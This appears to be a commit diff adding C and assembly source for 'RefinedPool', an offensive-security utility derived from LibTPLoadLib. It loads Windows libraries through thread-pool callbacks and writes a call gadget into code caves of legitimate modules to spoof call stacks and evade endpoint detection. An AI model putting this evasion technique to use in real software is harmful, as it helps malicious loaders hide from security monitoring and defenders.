IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
|
||||
|
||||
// localiza a tabela .pdata (exception directory)
|
||||
DWORD excRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
|
||||
DWORD excSize = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
|
||||
|
||||
if (!excRva || !excSize) return NULL;
|
||||
|
||||
RUNTIME_FUNCTION* rtTable = (RUNTIME_FUNCTION*)(base + excRva);
|
||||
DWORD count = excSize / sizeof(RUNTIME_FUNCTION);
|
||||
|
||||
for (DWORD f = 0; f < count; f++) {
|
||||
DWORD funcBegin = rtTable[f].BeginAddress;
|
||||
DWORD funcEnd = rtTable[f].EndAddress;
|
||||
DWORD funcSize = funcEnd - funcBegin;
|
||||
|
||||
if (funcSize < CAVE_SIZE + 16) continue;
|
||||
|
||||
PBYTE start = base + funcEnd - CAVE_SIZE;
|
||||
PBYTE end = base + funcBegin + 16; // nao sobrescrever o inicio
|
||||
|
||||
for (PBYTE p = start; p > end; p--) {
|
||||
if (*p != 0x00 && *p != 0xCC) continue;
|
||||
|
||||
BYTE fill = *p;
|
||||
BOOL ok = TRUE;
|
||||
|
||||
for (int i = 1; i < CAVE_SIZE; i++) {
|
||||
if (p[i] != fill) { ok = FALSE; break; }
|
||||
}
|
||||
|
||||
if (ok) {
|
||||
printf("[+] Code cave em funcao existente: RVA 0x%lX-0x%lX, cave: %p\n",
|
||||
funcBegin, funcEnd, (void*)p);
|
||||
return (PVOID)p;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID FindGadgetInModule(HMODULE hModule);
|
||||
PVOID FindCallGadget(HMODULE* phGadgetModule);
|
||||
PVOID FindCodeCave(void);
|
||||
PVOID WriteGadget(HMODULE* phModule);
|
||||
@@ -0,0 +1,66 @@
|
||||
#include "loadlib.h"
|
||||
#include "gadget.h"
|
||||
|
||||
#pragma comment(lib, "kernel32.lib")
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
NTSYSAPI NTSTATUS NTAPI TpAllocWork(PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
|
||||
NTSYSAPI VOID NTAPI TpPostWork(PTP_WORK);
|
||||
NTSYSAPI VOID NTAPI TpWaitForWork(PTP_WORK, BOOL);
|
||||
NTSYSAPI VOID NTAPI TpReleaseWork(PTP_WORK);
|
||||
|
||||
typedef struct _TP_LOADLIB_PARAMS {
|
||||
LPSTR LibraryName; // rcx
|
||||
PVOID pLoadLibraryAddress; // r10
|
||||
PVOID pGadgetAddress; // r11
|
||||
} TP_LOADLIB_PARAMS;
|
||||
|
||||
extern void WorkCallback_Gadget(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK);
|
||||
extern void WorkCallback_Direct(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK);
|
||||
|
||||
HMODULE LoadLib(LPCSTR libName) {
|
||||
|
||||
PTP_WORK workItem = NULL;
|
||||
TP_LOADLIB_PARAMS params = { 0 };
|
||||
PTP_WORK_CALLBACK callback = NULL;
|
||||
|
||||
params.LibraryName = (LPSTR)libName;
|
||||
params.pLoadLibraryAddress = (PVOID)LoadLibraryA;
|
||||
|
||||
#if DO_GADGET == 1
|
||||
|
||||
// ================================================================== //
|
||||
// Entao, quando o Thread Pool executar o WorkCallback e ele fizer //
|
||||
// "jmp r11" -> gadget -> "call r10" -> LoadLibraryA, //
|
||||
// o call stack mostrara: //
|
||||
// kernelbase.LoadLibraryA+8D //
|
||||
// nvwgf2umx.dll+<offset do gadget> //
|
||||
// ntdll.TppWorkpExecuteCallback //
|
||||
// ... //
|
||||
// ================================================================== //
|
||||
|
||||
HMODULE hGadgetMod = NULL;
|
||||
//params.pGadgetAddress = FindCallGadget(&hGadgetMod);
|
||||
params.pGadgetAddress = WriteGadget(&hGadgetMod);
|
||||
|
||||
printf("[*] Gadget address: %p (module: %p)\n", params.pGadgetAddress, hGadgetMod);
|
||||
|
||||
if (!params.pGadgetAddress) {
|
||||
OutputDebugStringA("[LoadLib] ERRO: nenhum gadget encontrado.\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
callback = (PTP_WORK_CALLBACK)WorkCallback_Gadget;
|
||||
|
||||
#else
|
||||
/* sem gadget */
|
||||
callback = (PTP_WORK_CALLBACK)WorkCallback_Direct;
|
||||
#endif
|
||||
|
||||
TpAllocWork(&workItem, callback, ¶ms, NULL);
|
||||
TpPostWork(workItem);
|
||||
TpWaitForWork(workItem, FALSE);
|
||||
TpReleaseWork(workItem);
|
||||
|
||||
return GetModuleHandleA(libName);
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
/*
|
||||
* RefinedPool - Enhanced LibTPLoadLib with dynamic code cave injection
|
||||
*
|
||||
* Based on LibTPLoadLib by @AlmondOffSec (BSD 3-Clause License)
|
||||
* Enhancement by Vith0r - 2026
|
||||
*
|
||||
* This project respects the original BSD 3-Clause License.
|
||||
* See: https://github.com/AlmondOffSec/LibTPLoadLib/blob/main/src/tploadlib.c
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
HMODULE LoadLib(LPCSTR libName);
|
||||
@@ -0,0 +1,25 @@
|
||||
#include <stdio.h>
|
||||
#include "loadlib.h"
|
||||
|
||||
#pragma comment(lib, "psapi.lib")
|
||||
|
||||
int main(void) {
|
||||
|
||||
const char* libName = "wininet";
|
||||
|
||||
printf("\n[*] Carregando '%s' ...", libName);
|
||||
getchar();
|
||||
|
||||
HMODULE hMod = LoadLib(libName);
|
||||
|
||||
if (hMod) {
|
||||
printf("[+] '%s' carregada com sucesso: 0x%p\n", libName, (void*)hMod);
|
||||
}
|
||||
else {
|
||||
printf("[-] Falha ao carregar '%s'\n", libName);
|
||||
}
|
||||
|
||||
printf("\nPressione Enter para sair...\n");
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
.code
|
||||
|
||||
; arg1 = RCX arg2 = RDX arg3 = R8 arg4 = R9
|
||||
|
||||
WorkCallback_Gadget PROC
|
||||
sub rsp, 28h ; Compensa o "add rsp,28h" do epilogue do gadget
|
||||
mov r10, QWORD PTR [rdx + 08h] ; r10 = pLoadLibraryAddress (chamado pelo gadget via "call r10")
|
||||
mov r11, QWORD PTR [rdx + 10h] ; r11 = pGadgetAddress
|
||||
mov rcx, QWORD PTR [rdx] ; rcx = LibraryName (1o argumento de LoadLibraryA)
|
||||
xor rdx, rdx ; rdx = NULL (2o arg - hFile para LoadLibraryExA)
|
||||
xor r8, r8 ; r8 = NULL (3o arg - dwFlags para LoadLibraryExA)
|
||||
jmp r11
|
||||
WorkCallback_Gadget ENDP
|
||||
|
||||
WorkCallback_Direct PROC
|
||||
mov rcx, QWORD PTR [rdx] ; LibraryName
|
||||
mov rax, QWORD PTR [rdx + 08h] ; pLoadLibraryAddress
|
||||
xor rdx, rdx ; NULL
|
||||
xor r8, r8 ; NULL
|
||||
jmp rax
|
||||
WorkCallback_Direct ENDP
|
||||
|
||||
END
|
||||
Reference in New Issue
Block a user